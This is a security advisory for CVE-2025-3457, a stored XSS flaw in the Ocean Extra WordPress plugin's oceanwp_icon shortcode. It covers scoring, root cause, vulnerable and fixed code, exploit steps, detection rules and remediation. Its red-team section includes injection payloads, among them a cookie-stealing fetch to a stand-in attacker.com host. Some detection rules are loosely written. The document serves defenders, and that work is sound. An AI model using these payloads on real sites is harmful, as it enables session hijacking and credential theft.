CVE-2025-3457

Executive Summary

CVE-2025-3457 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ocean Extra WordPress plugin, affecting all versions up to and including 2.4.6. The flaw resides in the oceanwp_icon shortcode, where user-supplied attributes are not properly sanitized or escaped. This allows authenticated attackers with at least Contributor-level access to inject arbitrary web scripts into pages. When a victim (including administrators) visits the compromised page, the injected script executes in their browser, potentially leading to session hijacking, credential theft, or defacement.

The vulnerability is specific to the WordPress ecosystem and does not affect the underlying web server (Apache/Nginx). The plugin is widely used with the OceanWP theme, making this a high-impact issue for WordPress sites.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor-level)
• User Interaction: None
• Scope: Changed (impact on other components)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Medium. While the CVSS score is moderate, the ability for authenticated users to inject persistent scripts that execute in the context of any visitor (including admins) elevates the risk. The lack of a known patch increases urgency.

Deep Dive & Mechanics

The vulnerability exists in the oceanwp_icon shortcode handler within the Ocean Extra plugin. The shortcode is designed to render icons (e.g., FontAwesome) by accepting attributes like icon, size, color, etc. The plugin fails to properly sanitize the icon attribute before outputting it into the page HTML.

Root Cause: Insufficient input sanitization and output escaping on the icon attribute. The plugin likely uses esc_attr() or similar functions incorrectly, or omits them entirely for certain attributes, allowing an attacker to break out of the attribute context and inject JavaScript.

Attack Flow:

1. An attacker with Contributor-level access (or higher) creates or edits a post/page.
2. The attacker inserts the [oceanwp_icon] shortcode with a malicious payload in the icon attribute, e.g., [oceanwp_icon icon="fa fa-home\" onmouseover=\"alert(1)\""].
3. The plugin processes the shortcode and outputs the icon HTML without properly escaping the attribute, resulting in: <i class="fa fa-home" onmouseover="alert(1)"></i>.
4. When any user (including admins) views the page, the injected event handler executes.

Vulnerable vs. Patched Code

Vulnerable Code (Ocean Extra <= 2.4.6):

// In shortcode handler (simplified)
function oceanwp_icon_shortcode($atts) {
    $atts = shortcode_atts(array('icon' => ''), $atts);
    $icon = $atts['icon'];
    // No sanitization or escaping
    return '<i class="' . $icon . '"></i>';
}

Patched Code (Hypothetical fix):

function oceanwp_icon_shortcode($atts) {
    $atts = shortcode_atts(array('icon' => ''), $atts);
    $icon = sanitize_html_class($atts['icon']); // Restrict to valid CSS classes
    return '<i class="' . esc_attr($icon) . '"></i>';
}

The fix should use sanitize_html_class() to allow only valid CSS class names and esc_attr() for safe output. As of this report, no official patch has been released.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• WordPress site with Ocean Extra plugin <= 2.4.6
• Authenticated session with Contributor-level privileges or higher

Exploit Steps:

1. Log in as a Contributor.
2. Create a new post or edit an existing one.
3. Switch to the Text/Code editor.
4. Insert the following shortcode:

   [oceanwp_icon icon="fa fa-home\" onmouseover=\"alert(document.cookie)\""]
   

5. Publish or update the post.
6. When any user visits the post, moving the mouse over the icon triggers the XSS.

Alternative Payload (Steal cookies):

[oceanwp_icon icon="fa fa-home\" onfocus=\"fetch('https://attacker.com/steal?c='+document.cookie)\" autofocus=\"autofocus\""]

Blue Team (Detection & Hardening)

Detection:

• Monitor for posts/pages containing the oceanwp_icon shortcode with suspicious attributes (e.g., onmouseover, onclick, onfocus).
• Review user activity logs for Contributor+ users creating posts with unusual shortcode usage.

Hardening:

• Disable the Ocean Extra plugin until a patch is available.
• Use a Web Application Firewall (WAF) to block XSS payloads in shortcode attributes.
• Restrict Contributor-level access to trusted users only.
• Implement Content Security Policy (CSP) headers to mitigate XSS impact.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ocean-extra/includes/shortcodes/icon.php (or similar)
• Shortcode pattern: [oceanwp_icon icon="..."] with event handler attributes (e.g., onmouseover, onclick)
• HTTP Request: POST to /wp-admin/post.php with post_content containing malicious shortcode
• Log entry: WordPress audit log showing post creation/update by Contributor+ user with suspicious shortcode

Detection Engineering

YARA Rule

rule CVE_2025_3457_Ocean_Extra_XSS {
    meta:
        description = "Detects malicious shortcode injection in Ocean Extra plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-3457"
    strings:
        $shortcode = /\[oceanwp_icon\s+icon\s*=\s*["'][^"']*?(?:on\w+\s*=|javascript:)/i
        $payload = /on(mouseover|click|focus|load)\s*=\s*["']/i
    condition:
        $shortcode or $payload
}

Sigma Rule

title: CVE-2025-3457 Ocean Extra Stored XSS
id: 8a9b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS via oceanwp_icon shortcode in WordPress
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url: '/wp-admin/post.php'
        http.body: 'oceanwp_icon'
        http.body|contains: 'on'
    condition: selection
falsepositives:
    - Legitimate use of shortcode with valid attributes
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-3457 Ocean Extra Stored XSS Attempt"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"oceanwp_icon"; http_client_body; pcre:"/on(mouseover|click|focus|load)\s*=\s*[\x27\x22]/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Ocean Extra plugin until a patch is released.
2. Review all posts/pages created by Contributor+ users for malicious shortcode injections.
3. Reset passwords for any accounts that may have been compromised.

Long-term Fix:

• Apply the official patch from OceanWP when available.
• If patching is not possible, implement a custom filter to sanitize the icon attribute:

  add_filter('shortcode_atts_oceanwp_icon', function($out, $pairs, $atts) {
      if (isset($out['icon'])) {
          $out['icon'] = sanitize_html_class($out['icon']);
      }
      return $out;
  }, 10, 3);
  

General Hardening:

• Enforce the principle of least privilege for WordPress user roles.
• Regularly update all plugins and themes.
• Use a security plugin (e.g., Wordfence) to monitor for XSS attempts.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst
Report generated: 2025-04-10